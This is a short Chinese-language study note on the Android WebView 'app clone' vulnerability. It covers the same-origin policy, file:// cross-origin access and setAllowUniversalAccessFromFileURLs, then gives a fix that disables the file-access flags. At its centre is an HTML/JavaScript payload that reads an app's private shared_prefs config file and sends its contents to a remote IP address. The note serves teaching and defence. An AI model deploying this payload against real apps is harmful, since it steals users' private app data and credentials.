支付宝应用克隆
link
流程总结
自动抢红包的链接
通过接收外部传入的URL参数,在APP内进行加载
· URL Scheme协议
· link
跨域
浏览器同源策略
· 两个URL的协议、端口、域名相同,则为同源,互相访问资源不受限制
跨域请求
· 不同的源之间的请求,会被浏览器所禁止
File协议
主要用于访问本地文件
· html文件
WebView
· setAllowUniversalAccessFromFileURLs
· True
File协议的跨域机制
· File协议中的脚本可以跨域访问其他协议,比如HTTP
攻击思路
恶意html文件读取本地敏感文件内容,并通过HTTP请求发送至远程服务器
WebView加载本地恶意html文件
漏洞前提
- 攻击者可以外部调用被攻击APP,指令其加载一个本地的html文件(比如抢红包链接)
- 被攻击APP的setAllowUniversalAccessFromFileURLs值为true
- 攻击者需要在被攻击的手机上下载一个html文件并保存在一个可被File协议访问到的位置(可以利用其他漏洞来实现)
payload
<html>
<script>
var arm ="file:///data/data/com.example.q00412688.myapplication/shared_prefs/config.xml";
var xmlhttp;
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
xmlhttp.onreadystatechange=function()
{
//alert("statusis"+xmlhttp.status);
if (xmlhttp.readyState==4)
{
window.data=xmlhttp.responseText;
alert(window.data);
var url ="http://114.115.139.176/getdata.jsp?data="+window.data;
var xmlhttp2;
if(window.XMLHttpRequest)
{
xmlhttp2=newXMLHttpRequest();
}
xmlhttp2.onreadystatechange=function()
{
//alert("statusis"+xmlhttp.status);
if(xmlhttp2.readyState==4)
{
alert(xmlhttp2.responseText);
}
}
xmlhttp2.open("GET",url);
xmlhttp2.send(null);
}
}
xmlhttp.open("GET",arm);
xmlhttp.send(null);
</script>
</html>
修复方案
将setAllowFileAccessFromFileURLs和setAllowUniversalAccessFromFileURLs这两个属性显示设置为False。